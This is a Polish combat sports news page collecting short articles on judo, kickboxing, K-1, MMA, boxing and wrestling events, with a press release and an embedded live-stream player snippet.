Dla naszej kobiecej reprezentacji rok był udany. Zwłaszcza za sprawą wywalczenia mistrzostwa Europy, jednak każda z naszych zawodniczek notowała dobre indywidualne starty. W Japonii brakuje czołowych postaci naszej kadry. Ale wiele judoczek dobrze rokuje na kolejne lata.

Doświadczona Agata Perenc (52kg) to podpora polskiej reprezentacji. Złota medalistka z Kazania zaczęła rok od trzeciego miejsca w Tunisie, a w maju stanęła na najniższym stopniu podium w Grand Prix w Ałmatach. Obiecująco wygląda Julia Kowalczyk (57kg). 19-latka drugi rok z rzędu wywalczyła brąz mistrzostw Europy juniorów. Z kolei Beata Pacut (78kg) zwyciężyła w Pucharze Europy w Warszawie. Pod okiem trener Szczepańskiej nasze kadrowiczki zrobiły ogromne postępy. Liczymy, że japońskie treningi posłużą młodym zawodniczkom i w następnym roku będą notowały udane występy.

Japoński finał

Już 2 grudnia start Grand Slam w Tokio, turniej potrwa do 4 grudnia. Zawody to prawdziwe wyzwanie i sprawdzian umiejętności. Do Japonii zjeżdżają się czołowi zawodnicy świata, którzy podsumują sezon. Grand Slam w Tokio to także oddanie czci i upamiętnienie twórcy judo Jigoro Kano. 

W ostatnim czasie Polacy nie mają miłych wspomnień z japońskiego turnieju. Rok temu Damian Szwarnowiecki stoczył trzy walki. Na drodze Polaka stanął Hiroyuki Akimoto, który zwyciężył rywalizację w kategorii 73kg. Dwa lata temu nasi reprezentanci wygrali zaledwie dwa pojedynki. O sukcesie możemy mówić w przypadku turnieju z 2013 roku. Wtedy 7. miejsce wywalczył Jakub Zarzeczny.

W tym roku o sukces w Tokio powalczą Damian Szwarnowiecki (81kg) i Piotr Kuczera (90kg). 22-latek na jesieni zaczął startować w kategorii 81kg, wcześniej w 73kg. Zmiana wyszła mu na dobre. Dwa występy i dwa razy trzecie miejsce. W tym roku Szwarnowiecki odniósł największy sukces w karierze. Wygrał kwietniowe zawody Grand Prix w Samsun. Zaimponował również Piotr Kuczera. 21-latek z Rybnika wywalczył brązowy medal podczas mistrzostw Europy w Kazaniu.

Do wojska

W najbliższych dniach świat judo będzie kręcił się wokół Japonii, jednak nie tylko. 9 grudnia rozpocznie się rywalizacja w mistrzostwach świata wojskowych, które odbędą się w Szwajcarii. 

Po kolejny medal pojedzie Daria Pogorzelec (78kg). Uczestniczka Igrzysk Olimpijskich w Rio de Janeiro trzy lata temu zdobyła brąz. Pogorzelec wraca do rywalizacji po kontuzji kolana. W Szwajcarii zaprezentują się również: Agata Ozdoba, Kinga Kubicka, Karolina Tałach, Arleta Podolak i Łukasz Błach.

KM

LIVE: XVIII Warszawska Granda

Zapraszamy na transmisje telewizyjna na żywo z XVIII Warszawskiej Grandy. Organizatorzy zaplanowali ok. 25 pojedynków w formule K-1.

[kod]

XVIII Warszawska Granda

XVIII Warszawska Granda

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/GrandaPro_LFC.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/GrandaPro_LFC.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/GrandaPro_LFC.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/GrandaPro_LFC.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Gala Ladies Fight Night już 17 grudnia. Poznaliśmy wreszcie miejsce!

Urodzinowa gala Ladies Fight Night odbędzie pod Śnieżką! Już za niespełna miesiąc, 17 grudnia, w Karpaczu odbędzie się czwarta gala Ladies Fight Night „Fortuna Dies Natalis”. Włodarze pierwszej w Europie żeńskiej organizacji sportów walki zapraszają fanów MMA i K-1 do wspólnego świętowania jubileuszu organizacji w wyjątkowych okolicznościach przyrody, u podnóża najwyższego szczytu Karkonoszy! Rejestracja na wydarzenie ruszyła.

Pierwsza w Europie żeńska organizacja sportów walki Ladies Fight Night w grudniu obchodzić będzie rocznicę powstania. Z tej okazji – 17 grudnia – odbędzie się urodzinowa gala LFN ”Fortuna Dies Natalis”. Tym razem włodarze federacji na miejsce gali wybrali wyjątkowy obiekt Hotel Gołębiewski w Karpaczu, położony na wysokości około 800 m n.p.m. u podnóża najwyższego szczytu gór Karkonoszy – Śnieżki.

Zależało nam, żeby pierwsze urodziny organizacji obchodzić z pompą. To był bardzo pracowity rok dla całej federacji. Zorganizowaliśmy trzy, bardzo udane gale, z których kolejne cieszyły się coraz większym zainteresowaniem fanów kobiecego MMA i K-1. Przykładamy dużą wagę do wysokiego poziomu sportowego i organizacyjnego naszych imprez i gala Ladies Fight Night „Fortuna Dies Natalis” w Karpaczu będzie tego najlepszym przykładem.

mówi Łukasz Chmal, prezes Ladies Fight Night.

Podczas grudniowej gali LFN zobaczymy 10 pojedynków w formule MMA i K-1. W klatkoringu pojawią się młode, utalentowane zawodniczki z Polski i zagranicy. Nie zabraknie takich nazwisk jak Patrycja Krawczyk, Monika Bohn, Weronika Zygmunt, Katarzyna Biegajło, Martyna Czech, Katarzyna Sadura i Annisa Haddaoui. Fani MMA zacierają ręce na walkę wieczoru, w której wystąpi jedna z najbardziej utalentowanych młodych zawodniczek MMA, Agnieszka Niedźwiedź.

Gala Ladies Fight Night „Fortuna Dies Natalis” podobnie jak poprzednie imprezy organizacji będzie bezpłatna. Atrakcji nie zabraknie. Wiadomo już, że muzyczną gwiazdą wieczoru będzie znany raper Sobota. Zaproszenia na galę można zdobyć rejestrując się na stronie internetowej www.lfn.com.pl lub pod adresem email: zaproszenia@rezerwacja.lfn.com.pl. Ilość wejściówek jest ograniczona.

Informacja prasowa

Do Grecji nie na wakacje

Kolejna odsłona zmagań o medale mistrzostw Europy w kickboxingu. Tym razem w Grecji, gdzie o tytuły powalczą startujący w formułach pointfighting, full contact i light contact.

Biało-czerwoni udali się do Loutraki ze sporymi nadziejami. Wśród naszych kadrowiczów nie brakuje zawodników, którzy sięgali już po najwyższe laury.

Tytuły w zasięgu ręki

W październiku Polacy walczyli o medale w mistrzostwach Europy w Mariborze i zdobyli 19 medali, w tym siedem złotych. Zawodnicy rywalizowali w formułach K-1, low kick i light contact. Niektórzy ponownie zaprezentują się w Grecji, tak jak Paulina Jarzmik (60kg), która wystartuje w kick light. Zawodniczka X Fight Piaseczno ma na koncie złoto w light contact podczas zmagań w Mariborze. Dwa lata temu Jarzmik wystąpiła na czempionacie Starego Kontynentu, który również odbywał się w słoweńskim mieście. Rywalizowała wtedy w pointfightingu i okazała się bezkonkurencyjna. 

Rok temu na salony wszedł Mateusz Kubiszyn (86kg), który na mistrzostwach świata w Dublinie sięgnął po złoto w full contact. Akcje zawodnika Kickboxing Game Over Lubaczów stoją wysoko. Kubiszyn ma okazję potwierdzić, że wygrana w finałowym starciu z mocnym Rosjaninem Igorem Kopylovem nie była dziełem przypadku. W Grecji w full contact wystartują także Dorota Godzina (55kg) i Robert Krasoń (75kg). Doświadczona zawodniczka X Fight Piaseczno to wielokrotna medalistka mistrzostw Polski, która z sukcesami występuje na arenie międzynarodowej oraz w walkach zawodowych. Miesiąc temu w Mariborze sięgnęła po brąz w light contact. Z kolei Krasoń to wicemistrz świata z Dublina.

Niezwykle mocna jest nasza kadra w kick light. Podczas ostatnich mistrzostw świata biało-czerwoni wygrali klasyfikację medalową. W Grecji o powtórzenie sukces postarają się m.in. Piotr Wypchał (94kg) i Michał Bławdziewicz (+94kg).

Zaledwie pięć osób liczy kadra w pointfightingu. O medale powalczą Malwina Strzelecka (55kg), wspomniana już Paulina Jarzmik, Tomasz Kurzeja (74kg), doświadczony Piotr Maślanka (79kg) i Rafał Adamczyk (84kg).

Zatrzymać świat

Polacy będą jedną z najliczniej reprezentowanych nacji podczas mistrzostw Europy. Łącznie do udziału w imprezie zgłoszono 480 zawodników.

Najliczniejszą reprezentacją jest Turcja, która wydelegowała do rywalizacji 49 fighterów. O czterech mniej liczy kadra Grecji. 39 nazwisk znalazło się w reprezentacji Rosji, o dwa mniej wśród Włochów. Polaków do Grecji wybrało się 33. Po jednym zawodniku zgłosiły Kosowo i Estonia.

Kadra Polski full contact: Karolina Mośko (48kg), Dorota Godzina (55kg), Agata Piechowicz (60kg), Emilia Czerwińska (65kg), Karolina Dziedzic (70kg), Robert Niedźwiedzki (57kh), Michał Pomieciński (60kg), Jakub Pokusa (67kg), Kamil Dajwłowski (71kg), Robert Krasoń (75kg), Tomasz Borowiec (81kg), Mateusz Kubiszyn (86kg), Paweł Strykowski (91kg), +91kg Aleksander Stawirej (+91kg)

Kadra Polski kick light: Karolina Kubiak (50kg), Klara Kleczkowska (55kg), Paulina Jarzmik (60kg), Monika Kędzierska (65kg), Katarzyna Kwiecień (70kg.), +Natalia Panas (+70kg), Patryk Kuryłek (57kg), Mateusz Niżejewski (63kg), Roger Garbaczewski (69kg), Jerzy Wroński (74kg), Wojciech Wiśniewski (79kg), Mikołaj Krause (84kg), Michał Grzesiak (89kg), Piotr Wypchał (94kg), Michał Bławdziewicz (+94kg).

KM

Gorące walki w przyszłym roku?

Eddie Hearn robi wszystko, żeby Anthony Joshua stał się pierwszoplanową wagi ciężkiej. W przyszłym roku ma spotkać się z dwoma potężnymi nazwiskami wagi ciężkiej, czyli Władimirem Kliczko i Deontayem Wilderem, a po nich ma zacząć się era brytyjskiej dominacji w kategorii królewskiej.

Anthony Joshua robi błyskawiczną karierę, co w dużej mierze jest zasługą jego ogromnych umiejętności. Mistrza świata IBF czekają kolejne wyzwania, jednak na obecną chwilę do konkretów daleko.

Wprowadzić porządek

Waga ciężka od zawsze cieszyła się ogromnym prestiżem i poważaniem. O miano mistrza rywalizowali wielcy pięściarze, którzy przechodzili do historii. W ostatnich latach należy wymienić Evandera Holyfiedla, Mike'a Tysona, Lennoxa Lewisa, Witalija Kliczko, Chrisa Byrda czy Roya Jonesa Jr. 

Nadszedł czas przetasowań i zmian. W listopadzie ubiegłego roku z tronu został zepchnięty Władimir Kliczko, którego zastąpił Tyson Fury. Brytyjczyk nie wytrzymał presji i popadł w uzależnienie od używek. Fury zrzekł się pasów WBO i WBA. Czempionami wagi ciężkiej pozostają Deontay Wilder (WBC), który po latach posuchy przywrócił amerykańskim fanom radość z boksu oraz Anthony Joshua (IBF). Ten ostatni kreowany jest na przyszłość boksu i wielką gwiazdę. 

Szedł jak burza i kładł na deski kolejnych rywali. Poważnie zaczęto go traktować, gdy powalił mocnego Kevina Johnsona. Pokonywał kolejnych groźnych rywali na krajowym podwórku aż dostał szansę walki o pas mistrzowski IBF. Charles Martin tańczył po kolejnych ciosach 27-latka i padł w drugiej rundzie. Mistrz olimpijski z Londynu triumfował. W czerwcu pokonał Dominica Breazeale'a w pierwszej obronie tytułu. Wszystkie dotychczasowe walki Joshua wygrał przed czasem, a stoczył ich siedemnaście.

Kolejnym wyzwaniem 27-latka będzie Eric Molina. Pojedynek odbędzie się 10 grudnia w Manchesterze. 34-letni Molina ostatnio pokonał Tomasza Adamka. Półtora roku temu rywalizował o pas WBC, jednak potężna dłoń Deontaya Wildera powstrzymała jego zapędy. Faworytem jest Joshua, którego kalendarza przyszłorocznych walk może wyglądać ciekawie, choć wszystko jest jeszcze niewiadomą.

Mistrzowskie testy

O interesy Joshuy dba Eddie Hearn. Promotor brytyjskiego mistrza świata ma ambitne plany. W przyszłym roku planuje zorganizować walkę Joshuy z Władimirem Kliczko. Młodość i przebojowość kontra doświadczenie i pewność siebie. Spotkanie dwóch epok miałoby odbyć się w kwietniu. W przypadku wygranej Joshua stanąłby przed kolejnym wyzwaniem. W sierpniu na szali miałby pojawić się pas WBC należący do Wildera.

Tyle plany, zobaczymy co przyniesie przyszłość. Wiadomo, że dla Joshuy rywalizacja z ikoną boksu byłaby ogromnym wyzwaniem. 27-latek miałby okazję porównać się z legendą. Gorące byłoby starcie Brytyjczyka z Wilderem. Obaj mają potężne ciosy i kładą na deski kolejnych rywali. Któryś z nich musiałby przegrać, więc tym samym nie byłby już niepokonany. Starcie brytyjsko-amerykańskie dostarczyłoby wielu emocji.

KM

Jotko zgłosił akces do walki o pas

Krzysztof Jotko zapowiadał, że jego celem jest pas mistrza UFC w wadze średniej. Zapędy Polaka miał powstrzymać Tahles Leites podczas gali w Sao Paulo. 35-latek okazał się bezradny wobec dobrze dysponowanego Polaka.

Jotko świetnie odnalazł się w najlepszej organizacji MMA na świecie i z walki na walkę wygląda coraz lepiej. Niewykluczone, że niebawem 27-latek dostanie szansę rywalizacji o pas mistrzowski. Wykonał kolejny krok w kierunku tytułu. Michael Bisping powinien bliżej przyjrzeć się polskiemu fighterowi.

Rywal nie rozwinął skrzydeł

Gala UFC Fight Night 100 w Sao Paulo będzie miłym wspomnieniem dla polskich fanów MMA. Krzysztof Jotko spotkał się z Thalesem Leitesem, który otrzymał ogromne wsparcie z trybun. Polak nie pozwolił rozwinąć Brazylijczykowi skrzydeł, choć ten co rusz próbował sprowadzić walkę do parteru. 27-latek walczył uważnie, skutecznie i punktował Leitesa.

O tym, że 35-letni Brazylijczyk to poważna marka najlepiej świadczy pojedynek z Michaelem Bispingiem. Leites walczył jak równy z równym z obecnym mistrzem wagi średniej. Przegrał po pięciu rundach niejednogłośną decyzją sędziów. W tym roku Brazylijczyk zanotował porażkę w starciu z mocnym Gegardem Mousasim, który w nocy z soboty na niedzielę w Belfaście uporał się w pierwszej rundzie Uriahem Hallem i odniósł 41. zwycięstwo w karierze. Wracając do Leitesa, Brazylijczyk w sierpniu zaprezentował się na gali UFC Fight Night 92. W trzeciej rundzie zmusił do poddania Chrissa Camozziego, czym pozwolił mu odbudować się. 35-latek jest niezwykle groźny w parterze. Aż 15 razy wygrał przez poddanie, łącznie zanotował 26 zwycięstw.

Jotko zdawał sobie sprawę z atutów rywala. Polski figher zaczął aktywnie, jednak Brazylijczyk szybko ruszył pod siatkę i szukał obalenia. Jotko był ruchliwy, co utrudniało zadanie rywalowi. Leites nic nie wywalczył, sędzia nakazał powrót na środek. W końcu 35-latek dopiął swego i walka przeniosła się na ziemię. Jotko poradził sobie z naporem rywala, znalazł się z góry, co przemawiało na jego korzyść. Drugie starcie miało podobny przebieg. Leites szukał obalenia, a Jotko słał w stronę rywala kolejne kopnięcia. Po jednym z nich walka przeniosła się do parteru, gdzie Polak mógł zdobyć przewagę. Pod koniec rundy 27-latek ponownie zapisał na swoim koncie obalenie. Brazylijczyk miał świadomość, że przewagę ma Jotko i w trzeciej rundzie próbował odwrócić losy rywalizacji. Nie potrafił znaleźć recepty na Polaka, choć udało mu się zapiąć duszenie gilotynowe, ale nie wyrządził krzywdy naszemu zawodnikowi. Do końca starcia Jotko zadał jeszcze kilka ciosów. Sędziowie byli jednomyślni – 29:27, 30:27, 30:27 na korzyści Polaka.

Mocna pozycja

Jotko debiutował w UFC w grudniu 2013 roku walką z Bruno Santosem. Przygodę z amerykańską organizacją rozpoczął od zwycięstwa, jednak w kolejnej walce lepszy okazał się Magnues Cedenblad. Dodatkowo przyplątała się kontuzja lewej ręki, co uniemożliwiło start zawodnika na gali UFC w Krakowie.

Do oktagonu Jotko wrócił w październiku 2014 roku. Od tego czasu stoczył pięć walk i wszystkie wygrał. Akcje Polaka idą w górę, zwłaszcza po efektownym pojedynku z Tamdanem McCrory'm. Jotko odesłał rywala do domu zaledwie po minucie rywalizacji. W Sao Paulo pokonał doświadczonego i mocnego Brazylijczyka, czym potwierdził wysoki poziom. Śmiało mówi o walce o pas. Nie są to słowa rzucane na wiatr, co Jotko potwierdza równą formą. Doświadczony Bisping musi liczyć się z tym, że młody i głodny polski wilk jest żądny tytułu. 

KM

Jankowski vs Kazieczko na otwarcie gali FEN 15 Final Strike

Starciem utytułowanego weterana ze wschodzącą gwiazdą polskiego K-1 można nazwać walkę Eliasza Jankowskiego z Wojciechem Kazieczko, od której 14 stycznia rozpocznie się gala FEN 15 Final Strike w lubińskiej hali RCS. Dla obu zawodników walka zakontraktowana w kategorii do 67 kg będzie debiutem w organizacji Fight Exclusive Night.

31-letni Eliasz Jankowski jest bez wątpienia jednym z najbardziej utytułowanych i doświadczonych polskich kickbokserów. Lista sukcesów legnickiego wojownika jest długa i imponująca – są na niej m.in. tytuły zawodowego mistrza świata w K-1 Global, zawodowego mistrza świata organizacji WKN i wicemistrza Europy federacji WAKO, a także Puchar Świata WAKO w K-1. Na zawodowych arenach „Jankes” stoczył dotychczas 22 walki, z których aż 16 wygrał (5 zwycięstw przed czasem). Reprezentant Prych Team Legnica/TKKF Olimp Legnica karierę sportową łączy ze służbą wojskową – jest zawodowym żołnierzem w 10. Brygadzie Kawalerii Pancernej w Świętoszowie.

19-letni Wojciech Kazieczko to z kolei jeden z najbardziej obiecujących polskich kickbokserów młodego pokolenia. Do największych jego osiągnięć należą tytuły mistrza Polski juniorów w formułach kick light, full contact i K-1 oraz zdobyty w ubiegłym roku srebrny medal mistrzostw Europy juniorów w K-1 Rules. Zawodnik Funfit Boxing Team Zielona Góra znakomicie spisał się także na seniorskich mistrzostwach Polski w K-1 Rules w czerwcu tego roku – wywalczył tytuł wicemistrzowski, w drodze do finału nokautując wszystkich rywali. Wychowanek duetu trenerskiego Jakub Kozera – Patryk Proszek ma na swoim koncie dwie zawodowe walki – oba pojedynki pewnie wygrał, pierwszy z nich przez nokaut, drugi na punkty.

Oprócz starcia Eliasza Jankowskiego z Wojciechem Kazieczko na gali FEN 15 Final Strike kibiców czekają także m.in. walki o pasy mistrzowskie w formule K-1 z udziałem Pawła Biszczaka, Wojciecha Wierzbickiego i Róży  Gumiennej oraz pojedynki MMA, w których wystąpią m.in. Marcin Zontek, Michał Michalski, Adam Golonkiewicz, Mateusz Głąb i Michał Miłek.

Bilety na styczniową galę FEN 15 w Lubinie można już kupować w serwisach Eventim.pl i KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 15 na bieżąco na fanpage’u FEN na Facebooku.

FEN

Machida zawieszony!

Lyoto Machidę czeka dłuższa przerwa od występów w oktagonie. Wszystko przez stosowanie niedozwolonych środków, które w organizmie Brazylijczyka wykryto podczas kwietniowego badania. 38-latek został zawieszony na 18 miesięcy.

Suplement 7-Keto zawierający dehydroepiandrosteron znajduje się na liście środków zakazanych przez Amerykańską Agencję Dopingową. Umieszczono ją w gronie niedozwolonych wraz z początkiem roku.

Przyznał się do winy

Doping rzuca się na sport, w tym mieszane sztuki walki. Niedozwolone środki są zmorą rywalizacji sportowej. Dają nieograniczone możliwości, wytrzymałość i pozwalają osiągać sukcesy, ale wszystko trwa do czasu. Z drugiej strony warto pamiętać, że listy środków zakazanych są aktualizowane, co umyka niektórym zawodnikom. Jeszcze w ubiegłym roku można było stosować melodonium, które w maju postawiło pod znakiem zapytania wyjazd zapaśnika Magomedmurada Gadżyjewa na igrzyskach olimpijskich w Rio de Janeiro. W organizmie reprezentanta Polski wykryto śladowe ilości substancji. Polski Związek Zapaśniczy stoczył walkę o mistrza Europy, który ostatecznie do Brazylii pojechał. Głośny był również przypadek tenisistki Marii Szarapowej.

Do niedawna można było również stosować dehydroepiandrosteron, jednak wraz z początkiem roku USADA wpisała specyfik na listę środków zakazanych. Suplement 7-Keto zawierający wspomnianą substancję stał się źródłem kłopotów Lyoto Machidy. Brazylijski fighter MMA stosował niedozwolony środek, do czego przyznał się przed kwietniową galą UFC on FOX 19. Walka 38-latka z Danem Hendersonem została odwołana. Brazylijczyk nie uciekał od odpowiedzialności i przyznał, że jest gotowy ponieść konsekwencje. Przepraszał fanów za zaistniałą substancję. Ponadto, zapewniał, że nie wiedział o zakazie stosowania suplementu. 

Były mistrz UFC w wadze półciężkiej musi ponieść konsekwencje – tak zadecydowała USADA. Agencja zawiesiła Brazylijczyka na 18 miesięcy. Warto podkreślić, że kara obowiązuje od 8 kwietnia, kiedy pobrano próbkę do badania. Zatem Machida musi odcierpieć jeszcze rok.

Z pewnością Brazylijczyk będzie chciał wrócić i udowodnić swoją wartość. Z Hendersonem miał się zrehabilitować za nieudane występy w 2015 roku, kiedy poniósł dwie porażki. 

Nie pierwszy, nie ostatni

Machida to doświadczony i utytułowany fighter. Brazylijczyk wygrał 22 walki w UFC, a w 2009 roku wywalczył tytuł w kategorii półciężkiej. Przez lata był w czołówce amerykańskiej organizacji. Dwa lata temu ponownie walczył o pas, jednak przegrał z Chrisem Weidmanem.

Praktycznie cały czas w MMA pojawiają się doniesienia o aferach dopingowych. Przez stosowanie zakazanych środków w problemy wpadł Jon Jones. 29-latek uchodził za gwiazdę UFC, dzierżył pas wagi półciężkiej i miał przed sobą otwarte drzwi do sukcesu. W 2015 roku u Amerykanina wykryto jeden z metabolitów kokainy. Wrócił do gry, ale w lipcu nie przystąpił do walki z Danielem Cormierem. Ponownie w tle pojawiły się problemy z dopingiem.

Na zażywaniu niedozwolonych substancji przyłapano również takie gwiazdy UFC jak Anderson Silva czy Nick Diaz. W tym roku na światło dzienne wyszły problemy z dopingiem: Konstantina Eokhina, Abdula Kerina Edilova, Brocka Lesnara czy Chada Mendesa.

W 2014 roku na dziewięć miesięcy został zawieszony Piotr Hallmann.

KM

Piotrków i Racibórz idą „łeb w łeb”

Krajowa Liga Zapaśnicza rozkręca się. Rywalizacja wystartowała 2 listopada, do tej pory odbyły się 3. kolejki. Najlepszy start zanotowały AKS Wrestling Team Piotrków Trybunalski i Unia Racibórz.

O powstaniu ligi zapaśniczej mówiło się od dłuższego czasu. Projekt nabierał kształtu aż w końcu wyklarował się. W 2015 roku podpisano umowę, która zakładała, że liga wystartuje po zakończeniu igrzysk olimpijskich w Rio de Janeiro. Początkowo przewidywano uczestnictwo ośmiu klubów, jednak ostatecznie na starcie pojawiło się sześć ekip.

Mieszkanka wybuchowa

Krajowa Liga Zapaśnicza ma na celu promocję dyscypliny oraz zwiększenie sportowej rywalizacji i podniesienie poziomu zawodników. Warto podkreślić, że jest to pierwsza tego typu inicjatywa, w której można zobaczyć zmagania w zapasach kobiet, stylu wolnym oraz stylu klasycznym mężczyzn.

Jak z procy rywalizację rozpoczął zespół AKS Wrestling Team Piotrków Trybunalski, który w pierwszym spotkaniu pokonał WKS Grunwald Poznań. Po trzech kolejkach widać, że siłą piotrkowskiej drużyny są panie. Tylko Selishka Miglena zapisała na swoim koncie jedną porażkę. W starciu z Grunwaldem lepsza okazała się od niej utytułowana Iwona Matkowska. Wspomniana Selishka, Roksana Zasina i Taybe Yusein tworzą mocną paczkę. W spotkaniach z AKS Białogard i AZS Supra Brokers Wrocław zapaśniczki z Piotrkowa okazały się bezkonkurencyjne. 

W 2. kolejce starcie „AKS-ów” było niezwykle zacięte. Do samego końca wynik był sprawą niewiadomą. Styl wolny dla wrocławian, rywalizacja pań dla Piotrkowa i o wszystkim zadecydowali klasycy. Michał Król i Radosław Grzybicki triumfowali, przegrał tylko Mateusz Bernatek. Piotrków pokonał Białogard 6:4. Z kolei w 3. kolejce AKS rozbił zespół z Wrocławia 8:1.

Zespół z Białogardu stoczył trzy zacięte boje, jednak wygrał tylko raz. W 1. kolejce AKS pokonał 5:4 AZS AWF Warszawa. Później przegrał z Piotrkowem i do ostatnich chwil rywalizował z Unią Racibórz, która może pochwalić się kompletem zwycięstw. W małych punktach przegrywa jednak rywalizację z AKS-em.

Bez punktów pozostają AZS AWF Warszawa i AZ Supra Brokers Wrocław.

Emocji nie brakuje

Zaciętych ligowych bojów nie brakuje. W 3. kolejce na wyróżnienie zasłużyło starcie w kategorii 97kg w stylu wolnym pomiędzy Sebastianem Jezierzańskim (Unia Racibórz) a Zbigniewem Baranowskim (AKS Białogard). Zapaśnicy ani przez chwilę nie ustępowali, byli czujni i dokładni. Wygrał olimpijczyk Baranowski. Mocnym punktem Białogardu jest mistrz Europy Magomedmurad Gadżyjew.

Kolejne spotkania odbędą się już 23 listopada. Tegoroczne zmagania zakończą się 30 listopada, kiedy dojdzie do arcyciekawego spotkania. O pozycję lidera na półmetku powalczą AKS Wrestling Team Piotrków Trybunalski i Unia Racibórz. Potem nastąpi przerwa zimowa. Na ligowe zapasy będziemy musieli czekać dwa miesiące. Następne spotkania zaplanowano na 25 stycznia.

KM

Szykuje się kolejny powrót?

Tęsknota rodzi smutek, który ciężko przezwyciężyć. Okazuje się, że niełatwo za sobą zamknąć pewien rozdział życia. Czy Tomasz Adamek wróci na ring?

Spekulacji na ten temat jest coraz więcej. Niedawno w programie „Puncher” w Polsacie „Góral” zadeklarował, że chciałby ponownie wejść do ringu. Od razu pojawiły się spekulacje o powrocie pięściarza urodzonego w Żywcu na bokserskie salony.

Źle na emeryturze

Niektórzy odliczają lata, miesiące, dni do osiągnięcia wieku emerytalnego. Liczą, że w końcu będą mieli okazję odpocząć i skorzystać z życia. Los sportowca rządzi się swoimi prawami. Wielu chce rywalizować jak najdłużej, ale czasami zdrowie nie dopisuje, forma już nie ta i decydują się odejść. Niektórzy zaskakują swoimi decyzjami, a inni przygotowują publikę na zakończenie kariery.

„Ciągnie wilka do lasu”. Trudno wytrzymać bez rywalizacji, więc „emeryci” często podnoszą się z fotela i wracają na ring. W tym roku przygodę z boksem zakończył Albert Sosnowski. „Dragon” pokonał w drugiej rundzie Andrasa Csomora podczas marcowej gali w Żyrardowie. Spokojnie, nikomu nic się nie przywidziało. 37-latek wystąpił we wrześniu na gali w Gdańsku. Postanowił wrócić i zmierzyć się z Andrzejem Wawrzykiem. Były mistrz Europy w wadze ciężkiej poddał się po piątej rundzie. Za to z przytupem wrócił Manny Pacquiao. 5 listopada Filipińczyk pokonał Jessiego Vargasa i wywalczył pas mistrza świata WBO kategorii półśredniej. Teraz czeka na kolejnego rywala, choć kwietniowa walka z Timothy'm Bradley'em miała być uwieńczeniem jego kariery. Ponoć „tylko krowa nie zmienia zdania”. 

Czy na taki krok zdecyduje się Tomasz Adamek? Przed kwietniowym starciem z Ericem Moliną „Góral” zapowiadał, że w przypadku porażki pożegna się z boksem. Amerykanin wygrał przed czasem w dziesiątej rundzie. Minęło kilka miesięcy i Adamek coraz śmielej mówi, że brakuje mu treningów i ringu. Szczegóły sprawy nie są znane. Nie wiadomo, kiedy i z kim miałby walczyć 40-latek. Trzeba cierpliwie czekać na rozwój wydarzeń.

Dał nam wiele radości

„Góral” to jeden z najlepszych polskich bokserów ostatnich lat. Kariera Adamka na zakręcie znalazła się po porażce z Arturem Szpilką. Walka była określana jako pojedynek o prymat w polskiej wadze ciężkiej. „Szpila” odsunął Adamka w cień, który później pokonał jeszcze Przemysława Saletę i poległ ze wspomnianym Moliną.

Jednak przez lata bokser z Żywca dawał polskim miłośnikom boksu wiele emocji. Wszyscy pamiętają zacięte boje z Paulem Briggsem, których stawką był tytuł WBC wagi półciężkiej. Na swoim koncie polski pięściarz zapisał pasy IBO i IBF kategorii juniorciężkiej. Próbował sił w wadze ciężkiej, gdzie dotarł do walki o pas WBC. Nie wytrzymał trudów walki z Witalijem Kliczko i poległ w dziesiątej rundzie. Wygrał 50 walki. Czy dołoży triumf numer 51?

KM

Nishida zakończyła karierę

„Trzeba wiedzieć, kiedy ze sceny zejść”. Jedni odciągają ten moment w nieskończoność, a inni zaskakują swoją decyzją. 30-letnia judoczka Yuka Nishida postanowiła zakończyć karierę.

Japonka ma za sobą bogatą karierę. Przez lata utrzymała się w czołówce kategorii 52kg. 

Rodzinne tradycje

Yuka Nishida ma judo we krwi. Jej ojciec, Takahiro, największe sukcesy odnosił w latach 70. W 1976 roku triumfował w mistrzostwach świata juniorów, a w 1981 roku wygrał prestiżowy turniej w Paryżu. Co ciekawe, Nishida zajął siódme miejsce podczas mistrzostw świata w Seulu. W Korei po brązowy medal sięgnął Wiesław Błach.

30-letnia Yuka Nishida może pochwalić się zdecydowanie większymi osiągnięciami niż ojciec. W 2010 roku Japonka sięgnęła gwiazd, kiedy to wywalczyła złoty medal mistrzostw świata. Rok później była o krok od powtórzenia sukcesu, jednak rywalizację w Paryżu zakończyła ze srebrnym medalem. Na swoim koncie zapisała również brąz mistrzostw świata, który zdobyła w 2007 roku.

Szczyt formy Nishidy przypadał na latach 2010-2012. Wtedy była jedną z najgroźniejszych zawodniczek kategorii 52kg na świecie, co potwierdzają medale mistrzostw świata. W międzynarodowych startach nie miała sobie równych i w kolejnych zawodach zajmowała czołowe lokaty. W 2010 triumfowała w Grand Slamach w Moskwie i w Tokio, a także w Pucharze Świata w Ułan Bator. Zapisała na swoim koncie również trzy medale prestiżowych zawodów Masters. Czterokrotnie wygrywała zawody Grand Slam, dwukrotnie Grand Prix. Dominowała również na kontynencie azjatyckim. W 2011 i 2012 roku była bezkonkurencyjna podczas mistrzowskich zmagań. 

Później wiodło jej się różnie. Coraz rzadziej pojawiała się na arenie międzynarodowej. W 2015 roku Nishida sięgnęła po brązowy medali mistrzostw Azji. Wygrała również zawody Grand Prix w Qingdao. Do końca walczyła o kwalifikację olimpijską, aby wystartować w Rio de Janeiro. Nie udało się. Nishida nie spełniła marzenia o starcie na igrzyskach olimpijskich. 

W ostatnim występie nie przebrnęła nawet eliminacji. Już na starcie japońskiego turnieju Kodokan Cup 30-latka pożegnała się z rywalizacją. Yuka Nishida podjęła decyzję o zakończeniu bogatej kariery, w której do pełni szczęścia zabrakło jej tylko medalu olimpijskiego.

Kolejna z wielkich

Judo jest ściśle związane z japońską kulturą, więc zawodnicy z Kraju Kwitnącej Wiśni należą do najlepszych na świecie. Jedni kończą bogate kariery, ale na ich miejsce pojawiają się nowe gwiazdy.

W ostatnim czasie decyzję o zakończeniu kariery podjęła Haruna Asami (48kg). 28-letnia zawodniczka wywalczyła cztery medale mistrzostw świata, w tym dwa złote. W wieku 30 lat z tatami pożegnał się mistrz świata z Tokio z 2010 roku Hiroyuki Akimoto. Japończyk najpierw rywalizował w kategorii 66kg, a następnie w 73kg.

Fot. judobase.org

KM

Co z przyszłością Pacquiao?

